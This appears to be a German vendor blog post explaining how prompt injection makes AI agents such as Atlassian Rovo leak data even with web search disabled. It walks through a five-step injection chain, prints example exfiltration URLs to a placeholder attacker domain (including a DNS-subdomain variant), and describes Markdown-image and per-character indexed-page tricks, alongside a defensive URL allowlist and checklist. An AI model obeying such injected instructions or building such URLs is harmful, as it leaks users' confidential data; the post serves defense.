Kurzantwort: Das Deaktivieren der Websuche verhindert Datenlecks bei KI-Agenten nicht – denn der Schalter blendet lediglich eine Funktion aus, entfernt aber nicht das darunterliegende Tool. Solange der Agent weiterhin URLs aufrufen, Bilder rendern oder Connectors ansprechen kann, reicht eine eingeschleuste Anweisung (Prompt Injection) aus, um Ihre Daten in eine Anfrage zu packen. Die Lösung ist deterministischer Natur: Der Agent darf ausschließlich URLs abrufen, die von einem Nutzer eingegeben oder von einem vertrauenswürdigen Tool zurückgegeben wurden.
Die meisten Teams betrachten den Schalter für die Websuche als universellen Aus-Knopf für Risiken durch ausgehenden Datenverkehr. Das ist ein Trugschluss. Im August 2026 demonstrierte PromptArmor einen Angriff auf Atlassian Rovo, der selbst bei organisationsweit deaktivierter Websuche funktionierte. Das zugrundeliegende Prinzip lässt sich auf praktisch jeden Agenten übertragen, den Sie selbst entwickeln oder einkaufen.
Im Folgenden beleuchten wir die Kanäle für Datenabflüsse, warum typische Behelfsmaßnahmen scheitern und welche Regel wirklich greift. Wir entwickeln Sharkly – einen Workspace, in dem Coding-Agenten Aufgaben von einem gemeinsamen Board übernehmen –, weshalb diese Fragen auch uns direkt betreffen. Prompt Injection ist branchenweit ein ungelöstes Problem, das gilt ausnahmslos auch für die Coding-Agenten, die Sharkly ausführt.
Was der Schalter für die Websuche steuert – und was nicht
Der Schalter für die Websuche steuert lediglich, ob der Agent eine Suchmaschine anfragen darf. Er ändert jedoch nichts an dem separaten Tool, das URLs aufruft und die Antworten einliest. Bleibt dieses Fetch-Tool aktiv, kann der Agent weiterhin Anfragen an beliebige Server im Internet senden – und jede Anfrage überträgt bereits Daten über ihre Adresse.
Die Suche liefert eine Liste von Links. Das Fetch-Tool nimmt einen Link entgegen und sendet einen HTTP-Request. Die Daten verlassen Ihren Mandanten (Tenant) beim Fetch-Vorgang.
Genau diese Diskrepanz ist der Kern der Rovo-Erkenntnisse. Im Bericht von PromptArmor heißt es, die Websuche-Einstellung versäume es, „das Tool zum Öffnen der Suchergebnisse zu entfernen“. Der Organisations-Admin hatte die Suche zwar deaktiviert, das Fetch-Tool blieb jedoch aktiv.
Wie ein Agent eine URL zur Datenexfiltration zusammenbaut
Bei einer indirekten Prompt Injection versteckt ein Angreifer Instruktionen in Inhalten, die der Agent später analysiert: in einer Datei, einem Ticket oder einer Webseite. Das Sprachmodell kann nicht zuverlässig zwischen Ihren eigentlichen Anweisungen und Texten unterscheiden, auf die es während der Verarbeitung stößt. Die Angriffskette bei Rovo umfasst laut PromptArmor fünf Schritte:
- Ein Betroffener lädt eine Datei – einen „Backlog Guide“ – hoch, die eine versteckte Anweisung enthält.
- Später bittet derselbe Nutzer Rovo darum, seine Jira-Tickets zu organisieren.
- Rovo durchsucht Jira sowie Confluence und liest im Zuge dieser Aufgabe die manipulierte Datei ein.
- Die eingeschleuste Anweisung weist Rovo an, Inhalte aus den Tickets und aus Confluence an eine URL des Angreifers anzuhängen und diese über das Tool zum URL-Abruf zu öffnen.
- Der Server des Angreifers protokolliert die Anfrage mitsamt den enthaltenen Daten. Der Nutzer sieht lediglich ganz gewöhnliche Ticket-Vorschläge.
Kein Klick, keine Sicherheitsabfrage oder Bestätigung. Als weitere Quellen für Injections nennt PromptArmor: Support-Tickets, Web-Suchergebnisse (sofern die Suche aktiv ist) sowie Connectors von Drittanbietern.
Das entscheidende Detail ist Schritt 4. PromptArmor stellt fest, dass es „keinerlei Schutzmechanismen gegen das Öffnen einer URL gibt, die vom Agenten dynamisch erzeugt wurde“. Da der Agent die Adresse selbst zusammengestellt hat, kann sie beliebige Informationen enthalten, die er zuvor gelesen hat.
Wie sieht eine URL zur Datenexfiltration aus?
Hier ist der schematische Aufbau mit einer Platzhalter-Domain:
https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri
Der Angreifer liest d= in seinen Server-Zugriffsprotokollen aus. Der Agent hat lediglich einen einzelnen GET-Request abgesetzt – und genau dafür ist das Fetch-Tool da.
Warum das Entfernen von Query-Strings nichts nützt: Subdomain- und DNS-Leaks
Den Teil einer URL ab dem ? herauszufiltern, ist der erste Behelf, zu dem viele greifen. Doch das greift zu kurz. In der Hacker-News-Diskussion (306 Punkte, 138 Kommentare) wies Simon Willison darauf hin, dass die Daten mittels Wildcard-DNS schlicht im Hostnamen untergebracht werden können:
https://cHJvZCBkYiBjcmVkcw.attacker.example/
Der DNS-Server des Angreifers antwortet auf jede beliebige Subdomain und protokolliert jede einzelne Namensauflösung. Die Daten fließen somit bereits während des DNS-Lookups ab – noch bevor überhaupt ein HTTP-Request zustande kommt. Ein weiterer Kommentator ergänzte, dass Daten in jedem Bestandteil einer URL versteckt werden können, einschließlich des Felds für Anmeldedaten (Credentials).
Die Regel darf also keinesfalls lauten: „Bereinige die URL“. Willisons Fazit bringt es auf den Punkt: Das Kernproblem liegt darin, „überhaupt in der Lage zu sein, eine URL dynamisch zu konstruieren“.
Der Exfiltrationskanal über Markdown-Bilder
Einige Agenten benötigen nicht einmal ein Fetch-Tool für einen Datenabfluss. Sobald die Chat-Oberfläche Markdown-Bilder von externen Domains rendert, kann das Modell Folgendes in seine Antwort einbetten:
Der Browser des Nutzers lädt das Bild automatisch nach und sendet die Anfrage ab. Niemand muss auf einen Link klicken. PromptArmor merkt an, dass Rovo Markdown-Bilder in den KI-Ausgaben rendert, und stuft dies als bekannten Exfiltrationsvektor ein – wenngleich der Bericht dafür keine eigenständige Angriffskette für Rovo aufführt.
Dieser Kanal setzt direkt in der Rendering-Schicht an; keine Konfiguration von Agenten-Tools kann ihn daher unterbinden.
Warum „Nur vorindexierte URLs“ Daten dennoch abfließen lässt – Zeichen für Zeichen
Ein denkbarer Schutzansatz erlaubt dem Agenten das Öffnen einer URL nur dann, wenn diese bereits von einem Suchmaschinen-Crawler indexiert wurde. Ein Angreifer kann schließlich keine URL indexieren lassen, die Ihr Geschäftsgeheimnis enthält, da dieses zuvor nicht öffentlich bekannt war.
Johann Rehberger (wunderwuzzi23 auf Hacker News) hat jedoch den entsprechenden Workaround aufgezeigt: Man stelle sich einen Angreifer vor, der vorab für jedes Zeichen eine eigene Seite veröffentlicht – von /a bis /z – und indexieren lässt. Die Prompt Injection weist den Agenten daraufhin an, für jedes Zeichen des Geheimnisses nacheinander die passende Seite aufzurufen. Der Angreifer liest die Reihenfolge der Treffer anschließend einfach aus den Server-Logs ab.
Das ist zwar langsam und erzeugt auffälliges Grundrauschen, funktioniert aber trotzdem. Rehbergers Fazit: Jede zusätzliche Hürde macht Angriffe aufwendiger, aber nicht unmöglich. Für Agenten mit klar umrissenem Einsatzzweck bezeichnete er Domain-Allowlists allerdings als wirksam, da sie vom Angreifer kontrollierte Endpunkte von vornherein blockieren.
Die deterministische Regel: URLs nur von Nutzern oder vertrauenswürdigen Tools abrufen
Die Lösung, die wirklich Bestand hat, verlässt sich nicht darauf, das Modell zu mehr Vorsicht zu ermahnen. Sie entzieht dem Agenten schlichtweg die Möglichkeit, das Ziel selbst zu bestimmen:
- Erlaubt: eine URL, die der Nutzer direkt in die Unterhaltung eingegeben hat.
- Erlaubt: eine URL, die ein vertrauenswürdiges Tool (beispielsweise ein Suchergebnis) exakt im Wortlaut zurückgegeben hat.
- Blockiert: jede URL, die das Modell selbst zusammengesetzt, modifiziert oder erweitert hat.
Dies wird im Code außerhalb des Modells durchgesetzt. Man führt eine Menge (Set) aller URLs, die über vertrauenswürdige Quellen in die Konversation gelangt sind, und lehnt jeden Abruf ab, dessen genaue Zeichenkette nicht in dieser Menge enthalten ist:
allowed_urls: set[str] = set()
def on_user_message(text: str) -> None:
allowed_urls.update(extract_urls(text))
def on_search_results(results: list[dict]) -> None:
allowed_urls.update(r["url"] for r in results)
def fetch(url: str) -> str:
if url not in allowed_urls:
raise PermissionError(f"blocked agent-built URL: {url[:60]}")
return http_get(url)
Zwei Einschränkungen bleiben: Die Prüfung deckt den Bild-Kanal nicht ab, weshalb externe Bilder in gerenderten Ausgaben separat blockiert werden müssen. Zudem verhindert sie den Zeichen-für-Zeichen-Trick nicht, falls ein vertrauenswürdiges Tool vom Angreifer vorgegebene Listen zurückliefern kann – weshalb bei spezialisierten Agenten zusätzlich eine Domain-Allowlist greifen sollte.
Hier kommt Willisons tödliche Triade („Lethal Trifecta“) zum Tragen: vertrauliche Daten, nicht vertrauenswürdige Inhalte und ein ausgehender Kanal. Die ersten beiden Faktoren lassen sich bei einem nützlichen Agenten nicht eliminieren. Den dritten hingegen kann man deterministisch absichern. Aus genau diesem Grund führt OWASP Prompt Injection als LLM01: Kein modellseitiger Fix allein bietet lückenlosen Schutz.
Checkliste für alle, die KI-Agenten entwickeln oder einkaufen
Stellen Sie diese Fragen bei jedem Agenten, der Zugriff auf vertrauliche Daten hat:
- Listen Sie jedes Tool auf, das Netzwerkanfragen ausführen kann: Fetch, Browser, Connectors, Webhooks, E-Mail.
- Entfernt der jeweilige Schalter das Tool vollständig oder verbirgt er bloß eine Funktion, die darauf zugreift?
- Kann der Agent eine URL aufrufen, die er selbst generiert hat?
- Werden externe Markdown-Bilder in der Ausgabe gerendert?
- Gibt es eine Domain-Allowlist und wer verwaltet sie?
- Über welche Quellen können Injections erfolgen: Uploads, Tickets, Web-Ergebnisse, Connectors?
- Wie hat der Hersteller auf den letzten externen Sicherheitsbericht reagiert und wie schnell erfolgte eine Reaktion?
Im Fall von Rovo beantwortet die öffentlich dokumentierte Chronologie Frage 7: PromptArmor legte die Schwachstelle am 23. Mai 2026 offen, Atlassian bestätigte den Eingang am 25. Mai, Nachfragen am 4. Juni und 29. Juli blieben unbeantwortet, und der Bericht erschien am 5. August – während Rovo weiterhin anfällig war. [VERIFY 2026-10-27: no Atlassian fix or statement found for this path; re-check before publish.]
Beachten Sie, dass Rovo Dev, der Coding-Agent von Atlassian, ein eigenständiges Produkt ist und sich vom hier behandelten Rovo-Assistenten unterscheidet; unser Beitrag zur kostenlosen Version von Rovo Dev geht näher darauf ein.
Was das für Coding-Agenten in Sharkly bedeutet
Coding-Agenten verarbeiten den ganzen Tag nicht vertrauenswürdige Texte: Issue-Beschreibungen, READMEs, abgerufene Webseiten. Sharkly macht Claude Code oder Codex dagegen keineswegs immun.
Was Sharkly verändert, ist die Kontrolle über die ausgehende Netzwerkgrenze. Agenten laufen über einen lokalen Dienst auf Ihren eigenen Computers. Laut der Computers-Dokumentation stellt der Computer „das Betriebssystem, die Dateien, Anmeldedaten, den Netzwerkzugriff und die Tools bereit, die ein Agent benötigt“. Wird ein Computer hinter eine Egress-Allowlist geschaltet, gilt diese Beschränkung für jeden darauf ausgeführten Lauf – ganz gleich, welcher Agent arbeitet.
Einige weitere Sicherheitsgrenzen aus der Dokumentation:
- Gäste sehen ausschließlich die Spaces, zu denen sie explizit hinzugefügt wurden.
- Aktionen in Drittanbieter-Apps erfordern einen autorisierten Connector.
- Die Skills-Dokumentation weist ausdrücklich an, niemals Passwörter, Tokens oder Schlüssel in Skill-Instruktionen oder -Dateien zu hinterlegen, damit ein kompromittierter Agent sie dort nicht auslesen kann.
Nichts davon hindert einen Agenten daran, bestehende Zugriffsrechte zu missbrauchen. Wo die entsprechenden Grenzen gezogen werden sollten, behandeln unsere Beiträge zu Berechtigungen für Coding-Agenten, Freigabestufen (Approval Gates) und Guardrails gegen Prompt Injection.
Fazit
Ein Schalter für die Websuche ist ein reines Produkt-Feature, keine Sicherheitsmaßnahme. Daten fließen über alles ab, was Anfragen initiieren kann: ein Fetch-Tool, eine DNS-Namensauflösung oder ein Image-Tag. Schließen Sie diese Wege im Code – außerhalb des Modells.
Ihr nächster Schritt: Prüfen Sie noch diese Woche einen Agenten, den Ihr Team einsetzt, anhand der sieben Fragen aus der Checkliste – beginnen Sie mit Frage 3. Wenn Sie Coding-Agenten auf mehreren Rechnern betreiben, richten Sie Sharkly ein und unterwerfen Sie jeden einzelnen den Egress-Regeln, denen Sie bereits vertrauen.
FAQ
Stoppt das Deaktivieren der Websuche Prompt Injection?
Nein. Prompt Injection kann über jeden Inhalt erfolgen, den der Agent einliest – einschließlich Uploads, Tickets und Connector-Daten. Das Abschalten der Websuche eliminiert lediglich eine einzige Quelle nicht vertrauenswürdiger Inhalte; Angriffe können weiterhin über andere Wege eindringen und Daten über ein Fetch-Tool abfließen.
Was ist URL-basierte Datenexfiltration?
Dabei schleust ein Agent vertrauliche Daten in eine URL ein und ruft diese ab. Der Server des Angreifers protokolliert die Anfrage und liest die Daten aus. Dafür ist keinerlei Malware erforderlich – es genügt ein Agent, der beliebige URLs generieren und aufrufen kann.
Stellen Markdown-Bilder im KI-Chat ein Sicherheitsrisiko dar?
Ja, sobald die Benutzeroberfläche Bilder von externen Domains automatisch lädt und anzeigt. Der Browser ruft die Bild-URL selbsttätig ab, wodurch alle vom Modell eingefügten Daten ganz ohne Nutzerinteraktion an den Angreifer übermittelt werden.
Reicht eine Domain-Allowlist aus?
Für einen spezialisierten Agenten, der nur eine Handvoll Domains benötigt, ist eine Allowlist die wirksamste verfügbare Kontrollmaßnahme. Bei einem universellen Assistenten lässt sie sich jedoch kaum strikt eingrenzen; kombinieren Sie sie daher stets mit der Regel, dass der Agent niemals selbst erstellte URLs abrufen darf.
Hat Atlassian das Exfiltrationsproblem in Rovo behoben?
Stand 27. Oktober 2026 konnten wir weder eine Stellungnahme noch einen bestätigten Fix von Atlassian für den von PromptArmor beschriebenen Pfad finden. Aktuelle Entwicklungen finden sich auf der Website von PromptArmor sowie in den Sicherheitshinweisen von Atlassian.
